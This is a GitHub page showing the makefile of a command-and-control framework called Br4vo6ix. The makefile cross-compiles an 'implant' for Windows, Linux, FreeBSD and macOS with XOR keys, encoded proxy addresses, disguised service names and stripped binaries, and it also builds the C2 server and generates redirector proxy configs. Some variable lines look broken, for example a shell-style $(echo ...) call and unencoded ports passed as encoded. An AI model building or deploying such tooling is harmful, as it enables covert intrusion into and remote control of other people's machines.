-
Notifications
You must be signed in to change notification settings - Fork 2
/
makefile
72 lines (63 loc) · 2.39 KB
/
makefile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
include .env
ENCODED_PROXY_IPS=$(echo $PROXY_IPS | base64)
ENCODED_PROXY_PORTS=$(echo $PROXY_PORTS | base64)
## install: Install all the dependencies
install:
go get ./...
## windows: Compiles the Br4vo6ix implant for Windows x64
windows:
GOOS=windows \
GOARCH=amd64 \
go build -ldflags=" \
-X 'main.ENCODED_PROXY_IPS=$(ENCODED_PROXY_IPS)' \
-X 'main.ENCODED_PROXY_PORTS=$(PROXY_PORTS)' \
-X 'main.XOR_KEY=$(XOR_KEY)' \
-X 'main.SRV_NAME=$(WINDOWS_SRV_NAME)' \
-X 'main.SRV_DSP_NAME=$(WINDOWS_SRV_NAME)' \
-X 'main.SRV_DESC=$(WINDOWS_SRV_DESC)' \
-s -w" -o $(WINDOWS_OUT_FILE) implant/main.go
## linux: Compiles the Br4vo6ix implant for Linux x64
linux:
GOOS=linux \
GOARCH=amd64 \
go build -ldflags=" \
-X 'main.ENCODED_PROXY_IPS=$(ENCODED_PROXY_IPS)' \
-X 'main.ENCODED_PROXY_PORTS=$(PROXY_PORTS)' \
-X 'main.XOR_KEY=$(XOR_KEY)' \
-X 'main.SRV_NAME=$(LINUX_SRV_NAME)' \
-X 'main.SRV_DSP_NAME=$(LINUX_SRV_NAME)' \
-X 'main.SRV_DESC=$(LINUX_SRV_DESC)' \
-s -w" -o $(LINUX_OUT_FILE) implant/main.go
## freebsd: Compiles the Br4vo6ix implant for FreeBSD x64
freebsd:
GOOS=freebsd \
GOARCH=amd64 \
go build -ldflags=" \
-X 'main.ENCODED_PROXY_IPS=$(ENCODED_PROXY_IPS)' \
-X 'main.ENCODED_PROXY_PORTS=$(PROXY_PORTS)' \
-X 'main.XOR_KEY=$(XOR_KEY)' \
-X 'main.SRV_NAME=$(FREEBSD_SRV_NAME)' \
-X 'main.SRV_DSP_NAME=$(FREEBSD_SRV_NAME)' \
-X 'main.SRV_DESC=$(FREEBSD_SRV_DESC)' \
-s -w" -o $(FREEBSD_OUT_FILE) implant/main.go
## macos: Compiles the Br4vo6ix implant for MacOS x64
macos:
GOOS=darwin \
GOARCH=amd64 \
go build -ldflags=" \
-X 'main.ENCODED_PROXY_IPS=$(ENCODED_PROXY_IPS)' \
-X 'main.ENCODED_PROXY_PORTS=$(PROXY_PORTS)' \
-X 'main.XOR_KEY=$(XOR_KEY)' \
-X 'main.SRV_NAME=$(MACOS_SRV_NAME)' \
-X 'main.SRV_DSP_NAME=$(MACOS_SRV_NAME)' \
-X 'main.SRV_DESC=$(MACOS_SRV_DESC)' \
-s -w" -o $(MACOS_OUT_FILE) implant/main.go
## c2: Compiles the Br4vo6ix C2 for use on THIS host
c2:
go build -o out/server/server server/main.go
## proxy: Generates the config files to run on each proxy server
proxy:
PROXY_PORTS=$(PROXY_PORTS) PROXY_IPS=$(PROXY_IPS) SERVER_IP=$(SERVER_IP) SERVER_PORT=$(SERVER_PORT) ./proxy.sh
PROXY_PORTS=$(PROXY_PORTS) PROXY_IPS=$(PROXY_IPS) SERVER_IP=$(SERVER_IP) SERVER_PORT=$(SERVER_PORT) ./unproxy.sh
## all: Compiles the Br4vo6ix implant for all platforms and the C2 for the current host
all: install windows linux freebsd macos c2 proxy